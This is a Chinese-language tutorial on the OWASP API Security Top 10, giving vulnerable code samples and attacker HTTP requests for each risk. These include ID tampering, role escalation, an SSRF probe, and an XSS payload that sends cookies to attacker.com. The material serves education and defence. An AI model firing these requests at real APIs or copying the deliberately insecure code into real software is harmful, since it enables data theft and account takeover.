来源于OWASP API Security Top 10,https://owasp.org/API-Security/
OWASP(Open Web Application Security Project,开放 Web 应用安全项目)是一个全球性的非营利组织,致力于提升软件(尤其是 Web 应用)的安全性。
自 2001 年成立以来,它通过社区协作、开源资源和实践指南,成为全球软件安全领域最具影响力的权威组织之一。
一、API TOP 10
1.1 BOLA
Broken Object Level Authorization 对象级授权失效
描述:
API未正确验证用户对特定对象的访问权限,常见于依赖客户端传入对象ID的场景。攻击者通过修改对象ID(如用户ID、订单ID)访问未授权数据。
案例:
- 金融行业:某银行API允许通过用户ID查询交易记录,攻击者伪造用户ID获取他人交易明细。
- 电商行业:某电商平台API未验证商品ID归属,攻击者通过遍历ID窃取商品库存信息。
漏洞代码示例(Node.js/Express)
// 错误实现:仅验证用户登录状态,未校验订单归属
app.get('/api/orders/:orderId', authenticate, (req, res) => {
const orderId = req.params.orderId;
// 直接查询订单,未关联当前用户ID
db.query('SELECT * FROM orders WHERE id = ?', [orderId], (err, result) => {
if (result.length > 0) {
res.json(result[0]); // 返回订单详情(无论归属)
} else {
res.status(404).send('Order not found');
}
});
});
正常的用户请求和响应,用户查询自己的订单:
GET /api/orders/1001 HTTP/1.1
Host: example.com
Authorization: Bearer {合法用户token}
HTTP/1.1 200 OK
{
"id": 1001,
"userId": 123, // 匹配当前用户
"amount": 99.99,
"address": "用户A的地址"
}
攻击者请求和响应,篡改orderid查询他人订单:
GET /api/orders/1002 HTTP/1.1
Host: example.com
Authorization: Bearer {合法用户token}
HTTP/1.1 200 OK
{
"id": 1002,
"userId": 456, // 属于其他用户
"amount": 199.99,
"address": "用户B的地址" // 未授权访问
}
1.2 认证失效
Broken Authentication 认证失效
描述:
身份验证机制实现缺陷,如弱密码策略、令牌泄露或暴力破解漏洞。攻击者通过破解令牌或利用实现缺陷冒充合法用户。
案例:
- 金融行业:某证券平台API密钥明文存储,被木马程序盗取后,攻击者操作账户进行高频交易。
- 电商行业:某商城API未限制登录尝试次数,攻击者通过暴力破解获取管理员账号。
漏洞代码示例(JWT配置缺陷)
# 错误实现:JWT过期时间过长且无刷新机制(Python/Flask)
import jwt
from datetime import datetime, timedelta
def generate_token(user_id):
payload = {
"user_id": user_id,
"exp": datetime.utcnow() + timedelta(days=365) # 过期时间1年(过久)
}
return jwt.encode(payload, "weak_secret_key", algorithm="HS256") # 密钥弱且硬编码
# 认证逻辑未校验token有效性细节
@app.route('/api/balance', methods=['GET'])
def get_balance():
token = request.headers.get('Authorization').split(' ')[1]
try:
payload = jwt.decode(token, "weak_secret_key", algorithms=["HS256"])
# 未检查token是否被吊销/刷新
return jsonify({"balance": get_user_balance(payload["user_id"])})
except:
return "Unauthorized", 401
攻击者使用窃取的旧 token的请求与响应:
GET /api/balance HTTP/1.1
Host: example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxMjMsImV4cCI6MTcxNzY0MDY3NX0.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
HTTP/1.1 200 OK
{
"balance": 5000.00
}
1.3 对象属性级授权失效
Broken Object Property Level Authorization 对象属性级授权失效
描述:
未正确控制对象属性的访问权限。攻击者通过修改请求参数暴露或修改敏感属性。
案例:
- 电商行业:某商城API允许用户更新订单状态,攻击者通过修改
is_paid
字段将未支付订单标记为已支付。 - 物联网行业:某智能门锁API未验证属性权限,攻击者远程修改锁状态导致用户无法开门。
漏洞代码示例(Java/Spring)
// 错误实现:允许修改所有用户属性,未限制"role"字段
@PutMapping("/api/users/{userId}")
public ResponseEntity<User> updateUser(@PathVariable Long userId, @RequestBody User user) {
// 仅校验用户是否存在,未过滤敏感属性
User existingUser = userRepository.findById(userId).orElseThrow();
// 直接覆盖所有字段(包括role)
existingUser.setName(user.getName());
existingUser.setEmail(user.getEmail());
existingUser.setRole(user.getRole()); // 未校验role修改权限
userRepository.save(existingUser);
return ResponseEntity.ok(existingUser);
}
攻击者修改自身角色的请求与响应:
PUT /api/users/123 HTTP/1.1
Host: example.com
Authorization: Bearer {普通用户token}
Content-Type: application/json
{
"name": "Attacker",
"email": "attacker@example.com",
"role": "ADMIN" // 越权修改敏感属性
}
HTTP/1.1 200 OK
{
"id": 123,
"name": "Attacker",
"email": "attacker@example.com",
"role": "ADMIN" // 修改成功,权限提升
}
1.4 资源消耗不受限
描述:
未限制API请求的资源消耗,导致拒绝服务(DoS)或成本激增。攻击者通过发送大请求或高频请求耗尽服务器资源。
案例:
- 电商行业:某商城API未限制图片上传大小,攻击者上传10GB文件导致服务器内存耗尽。
- 金融行业:某银行API未设置速率限制,攻击者每秒发送1000次查询请求,导致数据库瘫痪。
漏洞代码示例(Python/Flask)
# 错误实现:未限制文件大小和请求频率
@app.route('/api/process-image', methods=['POST'])
def process_image():
# 未校验文件大小
image = request.files['image']
image.save(f'/tmp/{image.filename}')
# 未限制并发,直接执行高资源消耗操作
result = high_resolution_processing(image.filename) # 耗时操作
return send_file(result)
攻击者发送超大文件的请求与响应:
POST /api/process-image HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
----WebKitFormBoundary
Content-Disposition: form-data; name="image"; filename="100mb-image.jpg"
Content-Type: image/jpeg
[100MB二进制数据]
----WebKitFormBoundary
HTTP/1.1 504 Gateway Timeout # 服务器超时(资源耗尽)
1.5 BFLA
Broken Function Level Authorization 功能级授权失效
描述:
管理功能与普通功能授权未分离,导致未授权访问管理接口。攻击者通过普通用户权限调用管理接口。
案例:
- 金融行业:某证券平台API未区分管理接口,攻击者通过普通用户权限调用
/admin/users
接口获取所有用户数据。 - 电商行业:某商城API管理接口未验证角色,攻击者删除他人订单。
BOLA 与 BFLA 的区别:
- BOLA:用户有权访问 API 端点 / 功能,但通过操纵对象 ID 访问无权对象(对象级越权)。
- BFLA:攻击者未授权访问本不应接触的 API 端点 / 功能(功能级越权)。
漏洞代码示例(PHP/Laravel)
// 错误实现:仅通过URL路径判断权限,未校验用户角色
Route::delete('/api/admin/delete-customer/{id}', function ($id) {
// 无角色校验中间件
Customer::destroy($id);
return response()->json(['message' => 'Deleted']);
});
普通用户调用管理员接口的请求与响应:
DELETE /api/admin/delete-customer/456 HTTP/1.1
Host: example.com
Authorization: Bearer {普通用户token}
HTTP/1.1 200 OK
{
"message": "Deleted" // 越权删除成功
}
1.6 敏感业务流无限制访问
描述:
敏感业务流程未加防护,如自动化评论、交易操作。攻击者通过脚本自动化操作,导致业务受损。
案例:
- 电商行业:某平台API未限制评论频率,攻击者通过脚本每秒发送1000条垃圾评论。
- 金融行业:某银行API未验证交易频率,攻击者通过自动化脚本进行高频转账,触发风控。
漏洞场景(外卖下单流程):
正常流程:提交订单→支付→确认发货
,但 API 未校验流程依赖关系。
攻击者跳过支付直接确认发货的请求与响应:
POST /api/orders/789/confirm-shipping HTTP/1.1
Host: example.com
Authorization: Bearer {用户token}
Content-Type: application/json
{
"orderId": 789,
"trackingNo": "FAKE123"
}
HTTP/1.1 200 OK
{
"status": "shipped",
"message": "订单已发货" // 未支付却发货
}
1.7 SSRF
Server Side Request Forgery 服务器端请求伪造
描述:
API未验证用户提供的URI,导致内部资源被非法访问。攻击者通过伪造URI访问内网地址。
案例:
- 金融行业:某银行API获取远程配置时未验证URL,攻击者伪造URL访问内网数据库。
- 物联网行业:某智能设备API未限制URI,攻击者通过SSRF控制设备。
漏洞代码示例(Node.js/Express)
// 错误实现:直接使用用户输入的URL发起请求
app.get('/api/fetch-content', (req, res) => {
const url = req.query.url; // 用户可控输入
// 未校验URL合法性(如禁止内网IP)
fetch(url).then(response => response.text())
.then(data => res.send(data))
.catch(err => res.status(500).send(err.message));
});
攻击者探测内网数据库的请求与响应:
GET /api/fetch-content?url=http://192.168.1.100:3306 HTTP/1.1
Host: example.com
HTTP/1.1 200 OK
Host '172.17.0.2' is not allowed to connect to this MySQL server
1.8 安全配置错误
描述:
API或相关组件配置不当,如默认凭证、未关闭调试接口。攻击者利用默认配置或未修复漏洞进行攻击。
案例:
- 电商行业:某商城API未删除调试接口,攻击者通过
/debug/pprof
获取服务器性能数据。 - 金融行业:某证券平台API使用默认管理员账号,被暴力破解。
漏洞场景(生产环境启用调试模式)
触发错误时的请求与响应:
GET /api/users/invalid-id HTTP/1.1
Host: example.com
HTTP/1.1 500 Internal Server Error
{
"error": "SQL Error",
"stack": "Traceback (most recent call last): ... File \"db.py\", line 42, in query\n cursor.execute(\"SELECT * FROM users WHERE id = '%s'\" % id)\nMySQLdb._exceptions.ProgrammingError: (1064, ...)",
"db_config": {
"host": "192.168.1.5",
"user": "root",
"password": "dev_password" // 泄露敏感配置
}
}
1.9 存量资产管理不当
描述:
未维护API资产清单,导致废弃端点暴露。攻击者利用未下线的旧版API进行攻击。
案例:
- 金融行业:某银行未下线旧版API,攻击者通过未修复的漏洞转移资金。
- 电商行业:某商城API版本号混乱,攻击者利用旧版接口进行数据抓取。
漏洞场景(遗留 API 未下线)
访问未下线v1接口的请求与响应:
GET /api/v1/users HTTP/1.1
Host: example.com
HTTP/1.1 200 OK
[
{"id": 1, "phone": "13800138000", "email": "user1@example.com"},
{"id": 2, "phone": "13900139000", "email": "user2@example.com"}
]
v1 接口无认证,v2 已修复但未删除 v1
1.10 API的不安全使用
描述:
依赖第三方API时未验证数据完整性,导致供应链攻击。攻击者通过篡改第三方API响应进行攻击。
案例:
- 电商行业:某应用使用被篡改的第三方天气API,响应中包含恶意脚本,触发XSS漏洞。
- 金融行业:某银行依赖的第三方支付API被植入恶意代码,导致用户资金被盗。
漏洞代码示例(前端直接渲染第三方数据)
// 错误实现:直接展示第三方API返回的未过滤数据
fetch('https://third-party-logistics.com/api/tracking?orderId=789')
.then(response => response.json())
.then(data => {
// 未过滤HTML/脚本标签
document.getElementById('tracking-message').innerHTML = data.message;
});
请求第三方api返回恶意内容:
{
"message": "您的快递已到达<script>document.location='http://attacker.com?cookie='+document.cookie</script>"
}
前端渲染后触发 XSS,导致用户 Cookie 被窃取。